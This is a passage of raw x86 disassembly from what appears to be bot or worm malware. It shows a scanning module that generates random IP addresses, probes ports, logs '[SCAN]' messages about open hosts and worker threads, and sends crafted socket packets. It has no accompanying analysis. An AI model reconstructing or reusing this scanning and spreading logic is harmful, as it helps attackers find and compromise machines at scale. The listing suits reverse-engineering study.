push offset aD_D_D_D ; "%d.%d.%d.%d"
push offset dword_50FAB8
nop
call sub_5F74D1
mov eax, offset dword_50FAB8
add esp, 2Ch
retn
sub_423760 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423820 proc near ; CODE XREF: sub_401F55j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, dword_50DB60[esi*8]
push eax
nop
call near ptr 71AB2BC0h
inc eax
push eax
nop
call near ptr 71AB2BC0h
mov dword_50DB60[esi*8], eax
pop esi
retn
sub_423820 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423860 proc near ; CODE XREF: sub_401131j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
mov edx, [esp+10h+arg_0]
push ebx
or ebx, 0FFFFFFFFh
push edi
mov edi, edx
mov ecx, ebx
xor eax, eax
mov [esp+18h+var_8], ebx
repne scasb
not ecx
dec ecx
mov [esp+18h+var_C], ebx
cmp ecx, 0Fh
mov [esp+18h+var_10], ebx
mov [esp+18h+var_4], ebx
jbe short loc_423892
pop edi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_423892: ; CODE XREF: sub_423860+2Aj
lea eax, [esp+18h+var_4]
push esi
lea ecx, [esp+1Ch+var_10]
push eax
push ecx
lea eax, [esp+24h+var_C]
lea ecx, [esp+24h+var_8]
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr 77C41B72h
mov eax, [esp+34h+var_8]
mov esi, dword_511AC8
add esp, 18h
cmp eax, ebx
jnz short loc_4238CA
call esi ; rand
mov [esp+1Ch+var_8], eax
loc_4238CA: ; CODE XREF: sub_423860+62j
cmp [esp+1Ch+var_C], ebx
jnz short loc_4238D6
call esi ; rand
mov [esp+1Ch+var_C], eax
loc_4238D6: ; CODE XREF: sub_423860+6Ej
cmp [esp+1Ch+var_10], ebx
jnz short loc_4238E2
call esi ; rand
mov [esp+1Ch+var_10], eax
loc_4238E2: ; CODE XREF: sub_423860+7Aj
mov eax, [esp+1Ch+var_4]
cmp eax, ebx
jnz short loc_4238EC
call esi ; rand
loc_4238EC: ; CODE XREF: sub_423860+88j
mov edi, [esp+1Ch+var_10]
mov edx, [esp+1Ch+var_C]
shl eax, 8
mov ecx, [esp+1Ch+arg_4]
add eax, edi
shl eax, 8
add eax, edx
mov edx, [esp+1Ch+var_8]
shl eax, 8
add eax, edx
pop esi
pop edi
mov dword_50DB60[ecx*8], eax
pop ebx
add esp, 10h
retn
sub_423860 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423950 proc near ; CODE XREF: sub_401E56j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = word ptr -114h
var_112 = word ptr -112h
var_110 = dword ptr -110h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 120h
push esi
push edi
mov edi, 1
push 0
push edi
push 2
mov [esp+134h+var_120], edi
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_42397E
pop edi
xor eax, eax
pop esi
add esp, 120h
retn
; ---------------------------------------------------------------------------
loc_42397E: ; CODE XREF: sub_423950+21j
mov ecx, [esp+128h+arg_4]
mov eax, [esp+128h+arg_0]
push ecx
mov [esp+12Ch+var_114], 2
mov [esp+12Ch+var_110], eax
call near ptr 71AB2B66h
nop
lea edx, [esp+128h+var_120]
mov [esp+128h+var_112], ax
push edx
push 8004667Eh
push esi
nop
call near ptr 71AB4519h
lea eax, [esp+128h+var_114]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
mov ecx, [esp+128h+arg_8]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
push 0
push 0
mov [esp+13Ch+var_11C], ecx
mov [esp+13Ch+var_118], 0
mov [esp+13Ch+var_100], esi
mov [esp+13Ch+var_104], edi
nop
call near ptr 71AB2DC0h
push esi
mov edi, eax
call near ptr 71AB9639h
nop
xor eax, eax
test edi, edi
pop edi
pop esi
setnle al
add esp, 120h
retn
sub_423950 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423A40: ; CODE XREF: ___:00401046j
mov eax, 10110h
call sub_437B30
push ebx
push ebp
mov ebp, dword_511C38
push esi
push edi
push 2649h
call ebp ; ntohs
mov [esp+24h], ax
mov eax, [esp+1012Ch]
push eax
call ebp ; ntohs
mov [esp+26h], ax
nop
call near ptr 77C371D3h
xor ebx, ebx
push 200h
mov [esp+2Ch], eax
mov [esp+30h], ebx
mov [esp+34h], bx
mov [esp+44h], bx
mov word ptr [esp+36h], 5
mov [esp+38h], bx
mov word ptr [esp+3Ah], 1
mov [esp+3Ch], bx
mov [esp+3Eh], bx
mov [esp+40h], bx
mov [esp+42h], bx
call ebp ; ntohs
mov ecx, [esp+10124h]
mov edx, [esp+10128h]
push 24h
mov [esp+46h], ax
mov [esp+48h], bx
mov [esp+4Ah], bx
mov [esp+4Ch], ecx
mov [esp+50h], edx
mov [esp+54h], bl
mov byte ptr [esp+55h], 6
call ebp ; ntohs
mov [esp+52h], ax
mov ecx, 9
lea esi, [esp+24h]
lea edi, [esp+54h]
lea eax, [esp+48h]
push 20h
rep movsd
push eax
call sub_401A37
mov edx, [esp+10134h]
xor ecx, ecx
mov [esp+1Ch], ecx
add esp, 8
mov [esp+18h], ecx
mov [esp+44h], ax
mov [esp+1Ch], ecx
push edx
mov [esp+24h], ecx
mov word ptr [esp+18h], 2
call ebp ; ntohs
mov [esp+16h], ax
mov eax, [esp+10128h]
push 6
push 3
push 2
mov [esp+24h], eax
mov dword ptr [esp+1Ch], 10h
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_423B69
push offset aSocketOpenFail ; "socket open failed"
jmp loc_423C68
; ---------------------------------------------------------------------------
loc_423B69: ; CODE XREF: ___:00423B5Dj
mov ecx, [esp+10h]
lea edx, [esp+14h]
push ecx
push edx
push ebx
lea eax, [esp+30h]
push 24h
push eax
push esi
call near ptr 71AB2C69h
nop
mov edi, eax
cmp edi, 14h
jz short loc_423BC2
nop
call near ptr 71AB94DCh
push eax
push edi
lea ecx, [esp+70h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push ecx
nop
call sub_5F74D1
lea edx, [esp+78h]
push edx
call sub_4010D2
add esp, 14h
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423BC2: ; CODE XREF: ___:00423B87j
mov ecx, 400Dh
xor eax, eax
lea edi, [esp+0E8h]
mov ebp, 2649h
rep stosd
stosw
stosb
cmp [esp+0FEh], bp
jz short loc_423C13
mov edi, dword_511C64
loc_423BEA: ; CODE XREF: ___:00423C11j
lea eax, [esp+10h]
lea ecx, [esp+14h]
push eax
push ecx
push ebx
lea edx, [esp+0F4h]
push 10037h
push edx
push esi
call edi ; recvfrom
test eax, eax
jl short loc_423C42
cmp [esp+0FEh], bp
jnz short loc_423BEA
loc_423C13: ; CODE XREF: ___:00423BE2j
push esi
nop
call near ptr 71AB9639h
cmp word ptr [esp+10Eh], 1
jnz short loc_423C63
push offset aSocketOpen_ ; "Socket open."
call sub_4010D2
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423C42: ; CODE XREF: ___:00423C07j
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4010D2
add esp, 4
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423C63: ; CODE XREF: ___:00423C23j
push offset dword_4456EC
loc_423C68: ; CODE XREF: ___:00423B64j
call sub_4010D2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423D10: ; CODE XREF: ___:loc_401F41j
sub esp, 290h
mov eax, [esp+294h]
push ebx
push ebp
push esi
push edi
mov ecx, 53h
mov esi, eax
lea edi, [esp+18h]
rep movsd
mov esi, [esp+13Ch]
mov ecx, [esp+140h]
mov [esp+10h], esi
mov [esp+14h], ecx
mov dword ptr [eax+148h], 1
nop
call near ptr 27E0C08h
push eax
nop
call near ptr 77C371BCh
lea eax, [esi+esi*2]
add esp, 4
shl eax, 4
sub eax, esi
lea eax, [eax+eax*2]
lea ebp, ds:44AF9Bh[eax*4]
mov eax, dword_44B19F[eax*4]
mov ecx, dword_50DB64[eax*8]
test ecx, ecx
jz loc_423FBE
mov ebx, off_511C00
loc_423D8C: ; CODE XREF: ___:00423FB4j
mov ecx, [esp+158h]
push eax
test ecx, ecx
jz short loc_423DA7
lea edx, [esp+1Ch]
push edx
call sub_401131
add esp, 8
jmp short loc_423DAF
; ---------------------------------------------------------------------------
loc_423DA7: ; CODE XREF: ___:00423D96j
call sub_401F55
add esp, 4
loc_423DAF: ; CODE XREF: ___:00423DA5j
mov ecx, [ebp+204h]
mov edx, [esp+12Ch]
mov edi, dword_511C88
mov esi, eax
mov eax, [esp+14h]
push eax
push ecx
push edx
push esi
call edi ; inet_ntoa
push eax
lea eax, [esp+230h]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call ebx ; sub_5F74D1
lea ecx, [esp+238h]
push ecx
push ebp
call ebx ; sub_5F74D1
mov edx, [esp+150h]
mov eax, [esp+14Ch]
push edx
push eax
push esi
call sub_401E56
add esp, 2Ch
cmp eax, 1
jnz loc_423F9A
cmp dword ptr [esp+148h], 0FFFFFFFFh
jnz loc_423EBF
push offset dword_50FAA0
nop
call near ptr 7C901005h
mov ecx, [esp+12Ch]
push ecx
push esi
call edi ; inet_ntoa
push eax
lea edx, [esp+228h]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push edx
call ebx ; sub_5F74D1
mov eax, [esp+164h]
add esp, 10h
test eax, eax
jnz short loc_423E9F
mov al, [esp+0A8h]
test al, al
jz short loc_423E7A
mov eax, [esp+150h]
lea ecx, [esp+220h]
push eax
mov eax, [esp+12Ch]
lea edx, [esp+0ACh]
push ecx
push edx
push eax
jmp short loc_423E97
; ---------------------------------------------------------------------------
loc_423E7A: ; CODE XREF: ___:00423E56j
mov ecx, [esp+150h]
lea edx, [esp+220h]
push ecx
mov ecx, [esp+12Ch]
lea eax, [esp+2Ch]
push edx
push eax
push ecx
loc_423E97: ; CODE XREF: ___:00423E78j
call sub_40152D
add esp, 10h
loc_423E9F: ; CODE XREF: ___:00423E4Bj
lea edx, [esp+220h]
push edx
call sub_4010D2
add esp, 4
push offset dword_50FAA0
nop
call near ptr 7C9010EDh
jmp loc_423F9A
; ---------------------------------------------------------------------------
loc_423EBF: ; CODE XREF: ___:00423E13j
push esi
call edi ; inet_ntoa
push eax
lea eax, [esp+16Ch]
push eax
call ebx ; sub_5F74D1
mov eax, [esp+150h]
lea eax, [eax+eax*2]
lea ecx, [eax+eax*4]
lea eax, [esp+200h]
lea edx, ds:445400h[ecx*4]
push edx
push eax
call ebx ; sub_5F74D1
mov al, [esp+0B8h]
add esp, 10h
test al, al
jz short loc_423F0C
lea ecx, [esp+0A8h]
lea edx, [esp+178h]
push ecx
push edx
jmp short loc_423F19
; ---------------------------------------------------------------------------
loc_423F0C: ; CODE XREF: ___:00423EF8j
lea eax, [esp+28h]
lea ecx, [esp+178h]
push eax
push ecx
loc_423F19: ; CODE XREF: ___:00423F0Aj
call ebx ; sub_5F74D1
mov eax, [esp+158h]
mov edx, [esp+130h]
mov ecx, [esp+15Ch]
mov [esp+21Ah], eax
mov eax, [esp+18h]
add esp, 8
mov [esp+164h], edx
mov edx, [esp+12Ch]
mov [esp+206h], eax
mov eax, [esp+148h]
sub esp, 0BCh
mov [esp+2D2h], ecx
mov ecx, 2Eh
lea esi, [esp+220h]
mov edi, esp
mov [esp+2BEh], edx
mov [esp+2C6h], eax
lea eax, [eax+eax*2]
rep movsd
lea edx, [eax+eax*4]
movsw
call off_44542C[edx*4]
add esp, 0BCh
loc_423F9A: ; CODE XREF: ___:00423E05j
; ___:00423EBAj
push 7D0h
call near ptr 2830000h
nop
mov eax, [ebp+204h]
mov ecx, dword_50DB64[eax*8]
test ecx, ecx
jnz loc_423D8C
mov esi, [esp+10h]
loc_423FBE: ; CODE XREF: ___:00423D80j
push esi
call sub_401E3D
add esp, 4
push 0
nop
call near ptr 2830101h
nop
; ---------------------------------------------------------------------------
db 0B0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_402284j
mov eax, [esp+4]
sub esp, 1CCh
mov ecx, 53h
push ebx
push ebp
push esi
push edi
mov esi, eax
lea edi, [esp+10h]
mov ebx, 1
rep movsd
mov [eax+144h], ebx
lea eax, [esp+10h]
push eax
nop
call near ptr 71AB2BF4h
sub esp, 14Ch
lea esi, [esp+15Ch]
mov ecx, [esp+27Ch]
mov edi, esp
mov dword_50DB60[ecx*8], eax
mov ecx, 53h
rep movsd
call j_nullsub_9
push 3
call sub_40148D
add esp, 150h
cmp eax, ebx
jnz short loc_424101
push offset dword_50FAA0
nop
call near ptr 27806CFh
push offset dword_50FAA0
call near ptr 2780DF8h
nop
loc_424101: ; CODE XREF: ___:004240E9j
mov edx, [esp+130h]
mov eax, [esp+13Ch]
mov ebp, dword_5118D8
mov esi, ebx
mov dword_50DB64[edx*8], ebx
cmp eax, ebx
mov ebx, off_511C00
jb loc_424230
mov edi, dword_51186C
loc_424132: ; CODE XREF: ___:0042422Aj
mov eax, [esp+130h]
mov ecx, [esp+124h]
push esi
push eax
lea edx, [esp+18h]
push ecx
push edx
lea eax, [esp+16Ch]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
mov [esp+150h], esi
call ebx ; sub_5F74D1
push 0
lea ecx, [esp+178h]
push 3
push ecx
call sub_401BEA
lea ecx, [eax+eax*2]
add esp, 24h
shl ecx, 4
sub ecx, eax
push 0
push 0
mov [esp+13Ch], eax
mov eax, [esp+138h]
lea edx, [ecx+ecx*2]
lea ecx, [esp+18h]
push ecx
push offset loc_401F41
push 0
push 0
mov dword_44B19F[edx*4], eax
call edi
mov edx, [esp+134h]
lea ecx, [edx+edx*2]
shl ecx, 4
sub ecx, edx
lea edx, [ecx+ecx*2]
mov dword_44B1AF[edx*4], eax
mov ecx, [esp+134h]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*2]
mov ecx, dword_44B1AF[eax*4]
test ecx, ecx
jz short loc_4241F8
mov eax, [esp+158h]
test eax, eax
jnz short loc_42421E
loc_4241E7: ; CODE XREF: ___:004241F4j
push 1Eh
call ebp
mov eax, [esp+158h]
test eax, eax
jz short loc_4241E7
jmp short loc_42421E
; ---------------------------------------------------------------------------
loc_4241F8: ; CODE XREF: ___:004241DAj
call near ptr 27C0849h
nop
push eax
lea ecx, [esp+160h]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push ecx
call ebx ; sub_5F74D1
lea edx, [esp+168h]
push edx
call sub_4010D2
add esp, 10h
loc_42421E: ; CODE XREF: ___:004241E5j
; ___:004241F6j
push 1Eh
call ebp
inc esi
cmp esi, [esp+13Ch]
jbe loc_424132
loc_424230: ; CODE XREF: ___:00424126j
mov eax, [esp+12Ch]
test eax, eax
jz short loc_42425E
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
shl eax, 5
push eax
call ebp
mov esi, 1
mov eax, [esp+12Ch]
jmp short loc_424291
; ---------------------------------------------------------------------------
loc_42425E: ; CODE XREF: ___:00424239j
mov ecx, [esp+130h]
mov esi, 1
cmp dword_50DB64[ecx*8], esi
jnz short loc_424291
loc_424273: ; CODE XREF: ___:00424288j
push 7D0h
call ebp
mov edx, [esp+130h]
cmp dword_50DB64[edx*8], esi
jz short loc_424273
mov eax, [esp+12Ch]
loc_424291: ; CODE XREF: ___:0042425Cj
; ___:00424271j
mov ecx, [esp+130h]
mov edx, [esp+124h]
push eax
push edx
mov ecx, dword_50DB60[ecx*8]
push ecx
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+168h]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call ebx ; sub_5F74D1
mov eax, [esp+160h]
add esp, 14h
test eax, eax
jnz short loc_4242F2
mov ecx, [esp+148h]
lea edx, [esp+15Ch]
push ecx
mov ecx, [esp+124h]
lea eax, [esp+24h]
push edx
push eax
push ecx
call sub_40152D
add esp, 10h
loc_4242F2: ; CODE XREF: ___:004242CBj
lea edx, [esp+15Ch]
push edx
call sub_4010D2
mov eax, [esp+134h]
add esp, 4
push 0BB8h
mov dword_50DB64[eax*8], 0
call ebp
push 3
call sub_40148D
add esp, 4
cmp eax, esi
jnz short loc_424334
push offset dword_50FAA0
nop
call near ptr 27806CFh
loc_424334: ; CODE XREF: ___:00424327j
mov ecx, [esp+130h]
push ecx
call sub_401E3D
add esp, 4
push 0
call near ptr 2830101h
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424410 proc near ; CODE XREF: sub_4012A8j
mov eax, ecx
mov dword ptr [eax+4], 0
mov dword ptr [eax], 0
retn
sub_424410 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424430: ; CODE XREF: ___:004015EBj
mov edx, [esp+4]
sub esp, 8
xor eax, eax
push esi
mov esi, ecx
push edi
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp+10h]
call sub_401843
mov ecx, [eax]
pop edi
mov [esi], ecx
mov edx, [eax+4]
mov eax, esi
mov [esi+4], edx
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424480 proc near ; CODE XREF: sub_401843j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
mov ebp, [esp+8+arg_4]
mov ebx, ecx
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_4244D2
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, ebp
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_4244D2: ; CODE XREF: sub_424480+16j
mov eax, ebx
pop ebp
pop ebx
retn 8
sub_424480 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424500 proc near ; CODE XREF: sub_4021F8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
mov ebx, ecx
push ebp
mov ecx, [esp+8+arg_C]
lea ebp, [eax+ecx]
push ebp
call near ptr 77C2C407h
nop
mov edx, eax
add esp, 4
test edx, edx
jz short loc_424574
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, [esp+10h+arg_4]
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h+arg_C]
mov esi, [esp+10h+arg_8]
lea edi, [edx+eax]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 10h
; ---------------------------------------------------------------------------
loc_424574: ; CODE XREF: sub_424500+1Dj
mov eax, ebx
pop ebp
pop ebx
retn 10h
sub_424500 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245A0 proc near ; CODE XREF: sub_4016C2j
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4245B3
push eax
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4245B3: ; CODE XREF: sub_4245A0+7j
mov dword ptr [esi+4], 0
mov dword ptr [esi], 0
pop esi
retn
sub_4245A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245E0 proc near ; CODE XREF: sub_4010A0j
var_4 = dword ptr -4
push ecx
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, [ebx+4]
cmp eax, 0FFFFh
jl short loc_4245F7
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4245F7: ; CODE XREF: sub_4245E0+Ej
xor ecx, ecx
cmp eax, 7Fh
setnl cl
dec ecx
and ecx, 0FFFFFFFEh
add ecx, 3
mov esi, ecx
add eax, esi
mov [esp+10h+var_4], esi
push eax
call near ptr 77C2C407h
nop
mov ebp, eax
add esp, 4
test ebp, ebp
jnz short loc_424625
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424625: ; CODE XREF: sub_4245E0+3Cj
push edi
mov edi, [ebx+4]
mov ecx, esi
xor eax, eax
add ecx, edi
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
cmp esi, 1
rep stosb
jnz short loc_424654
mov al, [ebx+4]
lea edi, [ebp+1]
mov [ebp+0], al
mov ecx, [ebx+4]
mov esi, [ebx]
jmp short loc_42466F
; ---------------------------------------------------------------------------
loc_424654: ; CODE XREF: sub_4245E0+62j
mov byte ptr [ebp+0], 82h
mov eax, [ebx+4]
sar eax, 8
mov [ebp+1], al
mov cl, [ebx+4]
mov [ebp+2], cl
mov ecx, [ebx+4]
mov esi, [ebx]
lea edi, [ebp+3]
loc_42466F: ; CODE XREF: sub_4245E0+72j
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+18h+var_4]
mov eax, [ebx+4]
add esp, 4
add eax, ecx
mov [ebx], ebp
mov [ebx+4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
retn
sub_4245E0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4246D0 proc near ; CODE XREF: sub_401B7Cj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push ebx
push ebp
mov ebp, ecx
mov eax, [ebp+4]
mov ecx, [ebp+0]
push eax
push ecx
push 1
push offset dword_448F44
lea ecx, [esp+20h+var_8]
call sub_4021F8
lea ecx, [esp+10h+var_8]
call sub_4010A0
mov edx, [esp+10h+var_4]
inc edx
push edx
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424715
pop ebp
xor al, al
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424715: ; CODE XREF: sub_4246D0+3Bj
mov eax, [esp+10h+var_4]
push esi
push edi
mov edi, ebx
lea ecx, [eax+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov byte ptr [ebx], 3
mov ecx, [esp+18h+var_4]
mov esi, [esp+18h+var_8]
mov eax, ecx
lea edi, [ebx+1]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ebp
call sub_4016C2
mov ecx, [esp+18h+var_4]
mov [ebp+0], ebx
inc ecx
mov [ebp+4], ecx
lea ecx, [esp+18h+var_8]
call sub_4016C2
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 8
retn
sub_4246D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4247B0 proc near ; CODE XREF: sub_4012C6j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
sub esp, 8
push esi
mov esi, ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov edx, [esi+4]
mov eax, [esi]
push ecx
push edx
push eax
lea ecx, [esp+1Ch+var_8]
call sub_4021F8
mov ecx, esi
call sub_4016C2
mov ecx, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_4]
mov [esi], ecx
mov [esi+4], edx
mov al, 1
pop esi
add esp, 8
retn 8
sub_4247B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424800 proc near ; CODE XREF: sub_402054j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call sub_4012C6
pop edi
pop esi
retn 4
sub_424800 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424840 proc near ; CODE XREF: sub_401505j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push eax
push edx
call sub_4012C6
retn 8
sub_424840 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424870 proc near ; CODE XREF: sub_4017D5j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
call sub_4010A0
test al, al
jnz short loc_424884
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424884: ; CODE XREF: sub_424870+Dj
mov eax, [esi+4]
mov ecx, [esi]
push eax
push ecx
push 1
push offset dword_445C14
lea ecx, [esp+1Ch+var_8]
call sub_4021F8
mov ecx, esi
call sub_4016C2
mov edx, [esp+0Ch+var_8]
mov eax, [esp+0Ch+var_4]
mov [esi], edx
mov [esi+4], eax
mov al, 1
pop esi
add esp, 8
retn
sub_424870 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4248E0 proc near ; CODE XREF: sub_401EC9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
push ecx
mov ecx, esi
call sub_401505
test al, al
jnz short loc_4248FC
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_4248FC: ; CODE XREF: sub_4248E0+16j
mov ecx, esi
call sub_4017D5
pop esi
retn 8
sub_4248E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424920 proc near ; CODE XREF: sub_401BFEj
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 858h
lea ecx, [esp+858h+var_818]
push ebx
push esi
call sub_4012A8
mov esi, [esp+860h+arg_8]
cmp esi, 408h
jg loc_424CF5
mov ebx, [esp+860h+arg_10]
lea eax, [ebx+8]
cmp eax, 408h
ja loc_424CF5
push edi
lea ecx, [esp+864h+var_830]
call sub_4012A8
lea ecx, [esp+864h+var_840]
call sub_4012A8
lea ecx, [esp+864h+var_810]
call sub_4012A8
lea ecx, [esp+864h+var_848]
call sub_4012A8
lea ecx, [esp+864h+var_820]
call sub_4012A8
lea ecx, [esp+864h+var_828]
call sub_4012A8
lea ecx, [esp+864h+var_838]
call sub_4012A8
push 4
push offset dword_4458B0
